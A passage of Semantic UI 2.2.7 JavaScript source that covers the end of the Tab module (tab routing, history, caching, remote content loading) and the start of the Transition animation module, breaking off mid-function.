settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.tab.settings, parameters) : $.extend({}, $.fn.tab.settings), className = settings.className, metadata = settings.metadata, selector = settings.selector, error = settings.error, eventNamespace = '.' + settings.namespace, moduleNamespace = 'module-' + settings.namespace, $module = $(this), $context, $tabs, cache = {}, firstLoad = true, recursionDepth = 0, element = this, instance = $module.data(moduleNamespace), activeTabPath, parameterArray, module, historyEvent ; module = { initialize: function() { module.debug('Initializing tab menu item', $module); module.fix.callbacks(); module.determineTabs(); module.debug('Determining tabs', settings.context, $tabs); // set up automatic routing if(settings.auto) { module.set.auto(); } module.bind.events(); if(settings.history && !initializedHistory) { module.initializeHistory(); initializedHistory = true; } module.instantiate(); }, instantiate: function () { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.debug('Destroying tabs', $module); $module .removeData(moduleNamespace) .off(eventNamespace) ; }, bind: { events: function() { // if using $.tab don't add events if( !$.isWindow( element ) ) { module.debug('Attaching tab activation events to element', $module); $module .on('click' + eventNamespace, module.event.click) ; } } }, determineTabs: function() { var $reference ; // determine tab context if(settings.context === 'parent') { if($module.closest(selector.ui).length > 0) { $reference = $module.closest(selector.ui); module.verbose('Using closest UI element as parent', $reference); } else { $reference = $module; } $context = $reference.parent(); module.verbose('Determined parent element for creating context', $context); } else if(settings.context) { $context = $(settings.context); module.verbose('Using selector for tab context', settings.context, $context); } else { $context = $('body'); } // find tabs if(settings.childrenOnly) { $tabs = $context.children(selector.tabs); module.debug('Searching tab context children for tabs', $context, $tabs); } else { $tabs = $context.find(selector.tabs); module.debug('Searching tab context for tabs', $context, $tabs); } }, fix: { callbacks: function() { if( $.isPlainObject(parameters) && (parameters.onTabLoad || parameters.onTabInit) ) { if(parameters.onTabLoad) { parameters.onLoad = parameters.onTabLoad; delete parameters.onTabLoad; module.error(error.legacyLoad, parameters.onLoad); } if(parameters.onTabInit) { parameters.onFirstLoad = parameters.onTabInit; delete parameters.onTabInit; module.error(error.legacyInit, parameters.onFirstLoad); } settings = $.extend(true, {}, $.fn.tab.settings, parameters); } } }, initializeHistory: function() { module.debug('Initializing page state'); if( $.address === undefined ) { module.error(error.state); return false; } else { if(settings.historyType == 'state') { module.debug('Using HTML5 to manage state'); if(settings.path !== false) { $.address .history(true) .state(settings.path) ; } else { module.error(error.path); return false; } } $.address .bind('change', module.event.history.change) ; } }, event: { click: function(event) { var tabPath = $(this).data(metadata.tab) ; if(tabPath !== undefined) { if(settings.history) { module.verbose('Updating page state', event); $.address.value(tabPath); } else { module.verbose('Changing tab', event); module.changeTab(tabPath); } event.preventDefault(); } else { module.debug('No tab specified'); } }, history: { change: function(event) { var tabPath = event.pathNames.join('/') || module.get.initialPath(), pageTitle = settings.templates.determineTitle(tabPath) || false ; module.performance.display(); module.debug('History change event', tabPath, event); historyEvent = event; if(tabPath !== undefined) { module.changeTab(tabPath); } if(pageTitle) { $.address.title(pageTitle); } } } }, refresh: function() { if(activeTabPath) { module.debug('Refreshing tab', activeTabPath); module.changeTab(activeTabPath); } }, cache: { read: function(cacheKey) { return (cacheKey !== undefined) ? cache[cacheKey] : false ; }, add: function(cacheKey, content) { cacheKey = cacheKey || activeTabPath; module.debug('Adding cached content for', cacheKey); cache[cacheKey] = content; }, remove: function(cacheKey) { cacheKey = cacheKey || activeTabPath; module.debug('Removing cached content for', cacheKey); delete cache[cacheKey]; } }, set: { auto: function() { var url = (typeof settings.path == 'string') ? settings.path.replace(/\/$/, '') + '/{$tab}' : '/{$tab}' ; module.verbose('Setting up automatic tab retrieval from server', url); if($.isPlainObject(settings.apiSettings)) { settings.apiSettings.url = url; } else { settings.apiSettings = { url: url }; } }, loading: function(tabPath) { var $tab = module.get.tabElement(tabPath), isLoading = $tab.hasClass(className.loading) ; if(!isLoading) { module.verbose('Setting loading state for', $tab); $tab .addClass(className.loading) .siblings($tabs) .removeClass(className.active + ' ' + className.loading) ; if($tab.length > 0) { settings.onRequest.call($tab[0], tabPath); } } }, state: function(state) { $.address.value(state); } }, changeTab: function(tabPath) { var pushStateAvailable = (window.history && window.history.pushState), shouldIgnoreLoad = (pushStateAvailable && settings.ignoreFirstLoad && firstLoad), remoteContent = (settings.auto || $.isPlainObject(settings.apiSettings) ), // only add default path if not remote content pathArray = (remoteContent && !shouldIgnoreLoad) ? module.utilities.pathToArray(tabPath) : module.get.defaultPathArray(tabPath) ; tabPath = module.utilities.arrayToPath(pathArray); $.each(pathArray, function(index, tab) { var currentPathArray = pathArray.slice(0, index + 1), currentPath = module.utilities.arrayToPath(currentPathArray), isTab = module.is.tab(currentPath), isLastIndex = (index + 1 == pathArray.length), $tab = module.get.tabElement(currentPath), $anchor, nextPathArray, nextPath, isLastTab ; module.verbose('Looking for tab', tab); if(isTab) { module.verbose('Tab was found', tab); // scope up activeTabPath = currentPath; parameterArray = module.utilities.filterArray(pathArray, currentPathArray); if(isLastIndex) { isLastTab = true; } else { nextPathArray = pathArray.slice(0, index + 2); nextPath = module.utilities.arrayToPath(nextPathArray); isLastTab = ( !module.is.tab(nextPath) ); if(isLastTab) { module.verbose('Tab parameters found', nextPathArray); } } if(isLastTab && remoteContent) { if(!shouldIgnoreLoad) { module.activate.navigation(currentPath); module.fetch.content(currentPath, tabPath); } else { module.debug('Ignoring remote content on first tab load', currentPath); firstLoad = false; module.cache.add(tabPath, $tab.html()); module.activate.all(currentPath); settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent); settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent); } return false; } else { module.debug('Opened local tab', currentPath); module.activate.all(currentPath); if( !module.cache.read(currentPath) ) { module.cache.add(currentPath, true); module.debug('First time tab loaded calling tab init'); settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent); } settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent); } } else if(tabPath.search('/') == -1 && tabPath !== '') { // look for in page anchor $anchor = $('#' + tabPath + ', a[name="' + tabPath + '"]'); currentPath = $anchor.closest('[data-tab]').data(metadata.tab); $tab = module.get.tabElement(currentPath); // if anchor exists use parent tab if($anchor && $anchor.length > 0 && currentPath) { module.debug('Anchor link used, opening parent tab', $tab, $anchor); if( !$tab.hasClass(className.active) ) { setTimeout(function() { module.scrollTo($anchor); }, 0); } module.activate.all(currentPath); if( !module.cache.read(currentPath) ) { module.cache.add(currentPath, true); module.debug('First time tab loaded calling tab init'); settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent); } settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent); return false; } } else { module.error(error.missingTab, $module, $context, currentPath); return false; } }); }, scrollTo: function($element) { var scrollOffset = ($element && $element.length > 0) ? $element.offset().top : false ; if(scrollOffset !== false) { module.debug('Forcing scroll to an in-page link in a hidden tab', scrollOffset, $element); $(document).scrollTop(scrollOffset); } }, update: { content: function(tabPath, html, evaluateScripts) { var $tab = module.get.tabElement(tabPath), tab = $tab[0] ; evaluateScripts = (evaluateScripts !== undefined) ? evaluateScripts : settings.evaluateScripts ; if(typeof settings.cacheType == 'string' && settings.cacheType.toLowerCase() == 'dom' && typeof html !== 'string') { $tab .empty() .append($(html).clone(true)) ; } else { if(evaluateScripts) { module.debug('Updating HTML and evaluating inline scripts', tabPath, html); $tab.html(html); } else { module.debug('Updating HTML', tabPath, html); tab.innerHTML = html; } } } }, fetch: { content: function(tabPath, fullTabPath) { var $tab = module.get.tabElement(tabPath), apiSettings = { dataType : 'html', encodeParameters : false, on : 'now', cache : settings.alwaysRefresh, headers : { 'X-Remote': true }, onSuccess : function(response) { if(settings.cacheType == 'response') { module.cache.add(fullTabPath, response); } module.update.content(tabPath, response); if(tabPath == activeTabPath) { module.debug('Content loaded', tabPath); module.activate.tab(tabPath); } else { module.debug('Content loaded in background', tabPath); } settings.onFirstLoad.call($tab[0], tabPath, parameterArray, historyEvent); settings.onLoad.call($tab[0], tabPath, parameterArray, historyEvent); if(typeof settings.cacheType == 'string' && settings.cacheType.toLowerCase() == 'dom' && $tab.children().length > 0) { setTimeout(function() { var $clone = $tab.children().clone(true) ; $clone = $clone.not('script'); module.cache.add(fullTabPath, $clone); }, 0); } else { module.cache.add(fullTabPath, $tab.html()); } }, urlData: { tab: fullTabPath } }, request = $tab.api('get request') || false, existingRequest = ( request && request.state() === 'pending' ), requestSettings, cachedContent ; fullTabPath = fullTabPath || tabPath; cachedContent = module.cache.read(fullTabPath); if(settings.cache && cachedContent) { module.activate.tab(tabPath); module.debug('Adding cached content', fullTabPath); if(settings.evaluateScripts == 'once') { module.update.content(tabPath, cachedContent, false); } else { module.update.content(tabPath, cachedContent); } settings.onLoad.call($tab[0], tabPath, parameterArray, historyEvent); } else if(existingRequest) { module.set.loading(tabPath); module.debug('Content is already loading', fullTabPath); } else if($.api !== undefined) { requestSettings = $.extend(true, {}, settings.apiSettings, apiSettings); module.debug('Retrieving remote content', fullTabPath, requestSettings); module.set.loading(tabPath); $tab.api(requestSettings); } else { module.error(error.api); } } }, activate: { all: function(tabPath) { module.activate.tab(tabPath); module.activate.navigation(tabPath); }, tab: function(tabPath) { var $tab = module.get.tabElement(tabPath), $deactiveTabs = (settings.deactivate == 'siblings') ? $tab.siblings($tabs) : $tabs.not($tab), isActive = $tab.hasClass(className.active) ; module.verbose('Showing tab content for', $tab); if(!isActive) { $tab .addClass(className.active) ; $deactiveTabs .removeClass(className.active + ' ' + className.loading) ; if($tab.length > 0) { settings.onVisible.call($tab[0], tabPath); } } }, navigation: function(tabPath) { var $navigation = module.get.navElement(tabPath), $deactiveNavigation = (settings.deactivate == 'siblings') ? $navigation.siblings($allModules) : $allModules.not($navigation), isActive = $navigation.hasClass(className.active) ; module.verbose('Activating tab navigation for', $navigation, tabPath); if(!isActive) { $navigation .addClass(className.active) ; $deactiveNavigation .removeClass(className.active + ' ' + className.loading) ; } } }, deactivate: { all: function() { module.deactivate.navigation(); module.deactivate.tabs(); }, navigation: function() { $allModules .removeClass(className.active) ; }, tabs: function() { $tabs .removeClass(className.active + ' ' + className.loading) ; } }, is: { tab: function(tabName) { return (tabName !== undefined) ? ( module.get.tabElement(tabName).length > 0 ) : false ; } }, get: { initialPath: function() { return $allModules.eq(0).data(metadata.tab) || $tabs.eq(0).data(metadata.tab); }, path: function() { return $.address.value(); }, // adds default tabs to tab path defaultPathArray: function(tabPath) { return module.utilities.pathToArray( module.get.defaultPath(tabPath) ); }, defaultPath: function(tabPath) { var $defaultNav = $allModules.filter('[data-' + metadata.tab + '^="' + tabPath + '/"]').eq(0), defaultTab = $defaultNav.data(metadata.tab) || false ; if( defaultTab ) { module.debug('Found default tab', defaultTab); if(recursionDepth < settings.maxDepth) { recursionDepth++; return module.get.defaultPath(defaultTab); } module.error(error.recursion); } else { module.debug('No default tabs found for', tabPath, $tabs); } recursionDepth = 0; return tabPath; }, navElement: function(tabPath) { tabPath = tabPath || activeTabPath; return $allModules.filter('[data-' + metadata.tab + '="' + tabPath + '"]'); }, tabElement: function(tabPath) { var $fullPathTab, $simplePathTab, tabPathArray, lastTab ; tabPath = tabPath || activeTabPath; tabPathArray = module.utilities.pathToArray(tabPath); lastTab = module.utilities.last(tabPathArray); $fullPathTab = $tabs.filter('[data-' + metadata.tab + '="' + tabPath + '"]'); $simplePathTab = $tabs.filter('[data-' + metadata.tab + '="' + lastTab + '"]'); return ($fullPathTab.length > 0) ? $fullPathTab : $simplePathTab ; }, tab: function() { return activeTabPath; } }, utilities: { filterArray: function(keepArray, removeArray) { return $.grep(keepArray, function(keepValue) { return ( $.inArray(keepValue, removeArray) == -1); }); }, last: function(array) { return $.isArray(array) ? array[ array.length - 1] : false ; }, pathToArray: function(pathName) { if(pathName === undefined) { pathName = activeTabPath; } return typeof pathName == 'string' ? pathName.split('/') : [pathName] ; }, arrayToPath: function(pathArray) { return $.isArray(pathArray) ? pathArray.join('/') : false ; } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; // shortcut for tabbed content with no defined navigation $.tab = function() { $(window).tab.apply(this, arguments); }; $.fn.tab.settings = { name : 'Tab', namespace : 'tab', silent : false, debug : false, verbose : false, performance : true, auto : false, // uses pjax style endpoints fetching content from same url with remote-content headers history : false, // use browser history historyType : 'hash', // #/ or html5 state path : false, // base path of url context : false, // specify a context that tabs must appear inside childrenOnly : false, // use only tabs that are children of context maxDepth : 25, // max depth a tab can be nested deactivate : 'siblings', // whether tabs should deactivate sibling menu elements or all elements initialized together alwaysRefresh : false, // load tab content new every tab click cache : true, // cache the content requests to pull locally cacheType : 'response', // Whether to cache exact response, or to html cache contents after scripts execute ignoreFirstLoad : false, // don't load remote content on first load apiSettings : false, // settings for api call evaluateScripts : 'once', // whether inline scripts should be parsed (true/false/once). Once will not re-evaluate on cached content onFirstLoad : function(tabPath, parameterArray, historyEvent) {}, // called first time loaded onLoad : function(tabPath, parameterArray, historyEvent) {}, // called on every load onVisible : function(tabPath, parameterArray, historyEvent) {}, // called every time tab visible onRequest : function(tabPath, parameterArray, historyEvent) {}, // called ever time a tab beings loading remote content templates : { determineTitle: function(tabArray) {} // returns page title for path }, error: { api : 'You attempted to load content without API module', method : 'The method you called is not defined', missingTab : 'Activated tab cannot be found. Tabs are case-sensitive.', noContent : 'The tab you specified is missing a content url.', path : 'History enabled, but no path was specified', recursion : 'Max recursive depth reached', legacyInit : 'onTabInit has been renamed to onFirstLoad in 2.0, please adjust your code.', legacyLoad : 'onTabLoad has been renamed to onLoad in 2.0. Please adjust your code', state : 'History requires Asual\'s Address library <path_to_url }, metadata : { tab : 'tab', loaded : 'loaded', promise: 'promise' }, className : { loading : 'loading', active : 'active' }, selector : { tabs : '.ui.tab', ui : '.ui' } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Transition * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.transition = function() { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], moduleArguments = arguments, query = moduleArguments[0], queryArguments = [].slice.call(arguments, 1), methodInvoked = (typeof query === 'string'), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, returnedValue ; $allModules .each(function(index) { var $module = $(this), element = this, // set at run time settings, instance, error, className, metadata, animationEnd, animationName, namespace, moduleNamespace, eventNamespace, module ; module = { initialize: function() { // get full settings settings = module.get.settings.apply(element, moduleArguments); // shorthand className = settings.className; error = settings.error; metadata = settings.metadata; // define namespace eventNamespace = '.' + settings.namespace; moduleNamespace = 'module-' + settings.namespace; instance = $module.data(moduleNamespace) || module; // get vendor specific events animationEnd = module.get.animationEndEvent(); if(methodInvoked) { methodInvoked = module.invoke(query); } // method not invoked, lets run an animation if(methodInvoked === false) { module.verbose('Converted arguments into settings object', settings); if(settings.interval) { module.delay(settings.animate); } else { module.animate(); } module.instantiate(); } }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, instance) ; }, destroy: function() { module.verbose('Destroying previous module for', element); $module .removeData(moduleNamespace) ; }, refresh: function() { module.verbose('Refreshing display type on next animation'); delete module.displayType; }, forceRepaint: function() { module.verbose('Forcing element repaint'); var $parentElement = $module.parent(), $nextElement = $module.next() ; if($nextElement.length === 0) { $module.detach().appendTo($parentElement); } else { $module.detach().insertBefore($nextElement); } }, repaint: function() { module.verbose('Repainting element'); var fakeAssignment = element.offsetWidth ; }, delay: function(interval) { var direction = module.get.animationDirection(), shouldReverse, delay ; if(!direction) { direction = module.can.transition() ? module.get.direction() : 'static' ; } interval = (interval !== undefined) ? interval : settings.interval ; shouldReverse = (settings.reverse == 'auto' && direction == className.outward); delay = (shouldReverse || settings.reverse == true) ? ($allModules.length - index) * settings.interval : index * settings.interval ; module.debug('Delaying animation by', delay); setTimeout(module.animate, delay); }, animate: function(overrideSettings) { settings = overrideSettings || settings; if(!module.is.supported()) { module.error(error.support); return false; } module.debug('Preparing animation', settings.animation); if(module.is.animating()) { if(settings.queue) { if(!settings.allowRepeats && module.has.direction() && module.is.occurring() && module.queuing !== true) { module.debug('Animation is currently occurring, preventing queueing same animation', settings.animation); } else { module.queue(settings.animation); } return false; } else if(!settings.allowRepeats && module.is.occurring()) { module.debug('Animation is already occurring, will not execute repeated animation', settings.animation); return false; } else { module.debug('New animation started, completing previous early', settings.animation); instance.complete(); } } if( module.can.animate() ) { module.set.animating(settings.animation); } else { module.error(error.noAnimation, settings.animation, element); } }, reset: function() { module.debug('Resetting animation to beginning conditions'); module.remove.animationCallbacks(); module.restore.conditions(); module.remove.animating(); }, queue: function(animation) { module.debug('Queueing animation of', animation); module.queuing = true; $module .one(animationEnd + '.queue' + eventNamespace, function() { module.queuing = false; module.repaint(); module.animate.apply(this, settings); }) ; }, complete: function (event) { module.debug('Animation complete', settings.animation); module.remove.completeCallback(); module.remove.failSafe(); if(!module.is.looping()) { if( module.is.outward() ) { module.verbose('Animation is outward, hiding element'); module.restore.conditions(); module.hide(); } else if( module.is.inward() ) { module.verbose('Animation is outward, showing element'); module.restore.conditions(); module.show(); } else { module.verbose('Static animation completed'); module.restore.conditions(); settings.onComplete.call(element); } } }, force: { visible: function() { var style = $module.attr('style'), userStyle = module.get.userStyle(), displayType = module.get.displayType(), overrideStyle = userStyle + 'display: ' + displayType + ' !important;', currentDisplay = $module.css('display'), emptyStyle = (style === undefined || style === '') ; if(currentDisplay !== displayType) { module.verbose('Overriding default display to show element', displayType); $module .attr('style', overrideStyle) ; } else if(emptyStyle) { $module.removeAttr('style'); } }, hidden: function() { var style = $module.attr('style'), currentDisplay = $module.css('display'), emptyStyle = (style === undefined || style === '') ; if(currentDisplay !== 'none' && !module.is.hidden()) { module.verbose('Overriding default display to hide element'); $module .css('display', 'none') ; } else if(emptyStyle) { $module .removeAttr('style') ; } } }, has: { direction: function(animation) { var hasDirection = false ; animation = animation || settings.animation; if(typeof animation === 'string') { animation = animation.split(' '); $.each(animation, function(index, word){ if(word === className.inward || word === className.outward) { hasDirection = true; } }); } return hasDirection; }, inlineDisplay: function() { var style = $module.attr('style') || '' ; return $.isArray(style.match(/display.*?;/, '')); } }, set: { animating: function(animation) { var animationClass, direction ; // remove previous callbacks module.remove.completeCallback(); // determine exact animation animation = animation || settings.animation; animationClass = module.get.animationClass(animation); // save animation class in cache to restore class names module.save.animation(animationClass); // override display if necessary so animation appears visibly module.force.visible(); module.remove.hidden(); module.remove.direction(); module.start.animation(animationClass); }, duration: function(animationName, duration) { duration = duration || settings.duration; duration = (typeof duration == 'number') ? duration + 'ms' : duration ; if(duration || duration === 0) { module.verbose('Setting animation duration', duration); $module .css({ 'animation-duration': duration }) ; } }, direction: function(direction) { direction = direction || module.get.direction(); if(direction == className.inward) { module.set.inward(); } else { module.set.outward(); } }, looping: function() { module.debug('Transition set to loop'); $module .addClass(className.looping) ; }, hidden: function() { $module .addClass(className.transition) .addClass(className.hidden) ; }, inward: function() { module.debug('Setting direction to inward'); $module .removeClass(className.outward) .addClass(className.inward) ; }, outward: function() { module.debug('Setting direction to outward'); $module .removeClass(className.inward) .addClass(className.outward) ; }, visible: function() { $module .addClass(className.transition) .addClass(className.visible) ; } }, start: { animation: function(animationClass) { animationClass = animationClass || module.get.animationClass(); module.debug('Starting tween', animationClass); $module .addClass(animationClass) .one(animationEnd + '.complete' + eventNamespace, module.complete) ; if(settings.useFailSafe) { module.add.failSafe(); } module.set.duration(settings.duration); settings.onStart.call(element); } }, save: { animation: function(animation) { if(!module.cache) { module.cache = {}; } module.cache.animation = animation; }, displayType: function(displayType) { if(displayType !== 'none') { $module.data(metadata.displayType, displayType); } }, transitionExists: function(animation, exists) { $.fn.transition.exists[animation] = exists; module.verbose('Saving existence of transition', animation, exists); } }, restore: { conditions: function() { var animation = module.get.currentAnimation() ; if(animation) { $module .removeClass(animation) ; module.verbose('Removing animation class', module.cache); } module.remove.duration(); } }, add: { failSafe: function() { var duration = module.get.duration() ; module.timer = setTimeout(function() { $module.triggerHandler(animationEnd); }, duration + settings.failSafeDelay); module.verbose('Adding fail safe timer', module.timer); } }, remove: { animating: function() { $module.removeClass(className.animating); }, animationCallbacks: function() { module.remove.queueCallback(); module.remove.completeCallback(); }, queueCallback: function() { $module.off('.queue' + eventNamespace); }, completeCallback: function() { $module.off('.complete' + eventNamespace); }, display: function() { $module.css('display', ''); }, direction: function() { $module .removeClass(className.inward) .removeClass(className.outward) ; }, duration: function() { $module .css('animation-duration', '') ; }, failSafe: function() { module.verbose('Removing fail safe timer', module.timer); if(module.timer) { clearTimeout(module.timer); } }, hidden: function() { $module.removeClass(className.hidden); }, visible: function() { $module.removeClass(className.visible); }, looping: function() { module.debug('Transitions are no longer looping'); if( module.is.looping() ) { module.reset(); $module .removeClass(className.looping) ; } }, transition: function() { $module .removeClass(className.visible) .removeClass(className.hidden) ; } }, get: { settings: function(animation, duration, onComplete) { // single settings object if(typeof animation == 'object') { return $.extend(true, {}, $.fn.transition.settings, animation); } // all arguments provided else if(typeof onComplete == 'function') { return $.extend({}, $.fn.transition.settings, { animation : animation, onComplete : onComplete, duration : duration }); } // only duration provided else if(typeof duration == 'string' || typeof duration == 'number') { return $.extend({}, $.fn.transition.settings, { animation : animation, duration : duration }); } // duration is actually settings object else if(typeof duration == 'object') { return $.extend({}, $.fn.transition.settings, duration, { animation : animation }); } // duration is actually callback else if(typeof duration == 'function') { return $.extend({}, $.fn.transition.settings, { animation : animation, onComplete : duration }); } // only animation provided else { return $.extend({}, $.fn.transition.settings, { animation : animation }); } }, animationClass: function(animation) { var animationClass = animation || settings.animation, directionClass = (module.can.transition() && !module.has.direction()) ? module.get.direction() + ' ' : '' ; return className.animating + ' ' + className.transition + ' ' + directionClass + animationClass ; }, currentAnimation: function() { return (module.cache && module.cache.animation !== undefined) ? module.cache.animation : false ; }, currentDirection: function() { return module.is.inward() ? className.inward : className.outward ; }, direction: function() { return module.is.hidden() || !module.is.visible() ? className.inward : className.outward ; }, animationDirection: function(animation) { var direction ; animation = animation || settings.animation; if(typeof animation === 'string') { animation = animation.split(' '); // search animation name for out/in class $.each(animation, function(index, word){ if(word === className.inward) { direction = className.inward; } else if(word === className.outward) { direction = className.outward; } }); } // return found direction if(direction) { return direction; } return false; }, duration: function(duration) { duration = duration || settings.duration; if(duration === false) { duration = $module.css('animation-duration') || 0; } return (typeof duration === 'string') ? (duration.indexOf('ms') > -1) ? parseFloat(duration) : parseFloat(duration) * 1000 : duration ; }, displayType: function(shouldDetermine) { shouldDetermine = (shouldDetermine !== undefined) ? shouldDetermine : true ; if(settings.displayType) { return settings.displayType; } if(shouldDetermine && $module.data(metadata.displayType) === undefined) { // create fake element to determine display state module.can.transition(true); } return $module.data(metadata.displayType); }, userStyle: function(style) { style = style || $module.attr('style') || ''; return style.replace(/display.*?;/, ''); }, transitionExists: function(animation) { return $.fn.transition.exists[animation]; }, animationStartEvent: function() { var element = document.createElement('div'), animations = { 'animation' :'animationstart', 'OAnimation' :'oAnimationStart', 'MozAnimation' :'mozAnimationStart', 'WebkitAnimation' :'webkitAnimationStart' }, animation ; for(animation in animations){ if( element.style[animation] !== undefined ){ return animations[animation]; } } return false; }, animationEndEvent: function() { var element = document.createElement('div'), animations = { 'animation' :'animationend', 'OAnimation' :'oAnimationEnd', 'MozAnimation' :'mozAnimationEnd', 'WebkitAnimation' :'webkitAnimationEnd' }, animation ; for(animation in animations){ if( element.style[animation] !== undefined ){ return animations[animation]; } } return false; } }, can: { transition: function(forced) { var animation = settings.animation, transitionExists = module.get.transitionExists(animation), displayType = module.get.displayType(false), elementClass, tagName, $clone, currentAnimation, inAnimation, directionExists ; if( transitionExists === undefined || forced) { module.verbose('Determining whether animation exists'); elementClass = $module.attr('class'); tagName = $module.prop('tagName'); $clone = $('<' + tagName + ' />').addClass( elementClass ).insertAfter($module); currentAnimation = $clone .addClass(animation) .removeClass(className.inward) .removeClass(className.outward) .addClass(className.animating) .addClass(className.transition) .css('animationName') ; inAnimation = $clone .addClass(className.inward) .css('animationName') ; if(!displayType) { displayType = $clone .attr('class', elementClass) .removeAttr('style') .removeClass(className.hidden) .removeClass(className.visible) .show() .css('display') ; module.verbose('Determining final display state', displayType); module.save.displayType(displayType); } $clone.remove(); if(currentAnimation != inAnimation) { module.debug('Direction exists for animation', animation); directionExists = true; } else if(currentAnimation == 'none' || !currentAnimation) { module.debug('No animation defined in css', animation); return; } else { module.debug('Static animation found', animation, displayType); directionExists = false; } module.save.transitionExists(animation, directionExists); } return (transitionExists !== undefined) ? transitionExists : directionExists ; }, animate: function() { // can transition does not return a value if animation does not exist return (module.can.transition() !== undefined); } }, is: { animating: function() { return $module.hasClass(className.animating); }, inward: function() { return $module.hasClass(className.inward); }, outward: function() { return $module.hasClass(className.outward); }, looping: function() { return $module.hasClass(className.looping); }, occurring: function(animation) { animation = animation || settings.animation; animation = '.' + animation.replace(' ', '.'); return ( $module.filter(animation).length > 0 ); }, visible: function() { return $module.is(':visible'); }, hidden: function() { return $module.css('visibility') === 'hidden'; }, supported: function() { return(animationEnd !== false); } }, hide: function() { module.verbose('Hiding element'); if( module.is.animating() ) { module.reset(); } element.blur(); // IE will trigger focus change if element is not blurred before hiding module.remove.display(); module.remove.visible(); module.set.hidden(); module.force.hidden(); settings.onHide.call(element); settings.onComplete.call(element); // module.repaint(); }, show: function(display) { module.verbose('Showing element', display); module.remove.hidden(); module.set.visible(); module.force.visible(); settings.onShow.call(element); settings.onComplete.call(element); // module.repaint(); }, toggle: function() { if( module.is.visible() ) { module.hide(); } else { module.show(); } }, stop: function() { module.debug('Stopping current animation'); $module.triggerHandler(animationEnd); }, stopAll: function() { module.debug('Stopping all animation'); module.remove.queueCallback(); $module.triggerHandler(animationEnd); }, clear: { queue: function() { module.debug('Clearing animation queue'); module.remove.queueCallback(); } }, enable: function() { module.verbose('Starting animation'); $module.removeClass(className.disabled); }, disable: function() { module.debug('Stopping animation'); $module.addClass(className.disabled); }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); 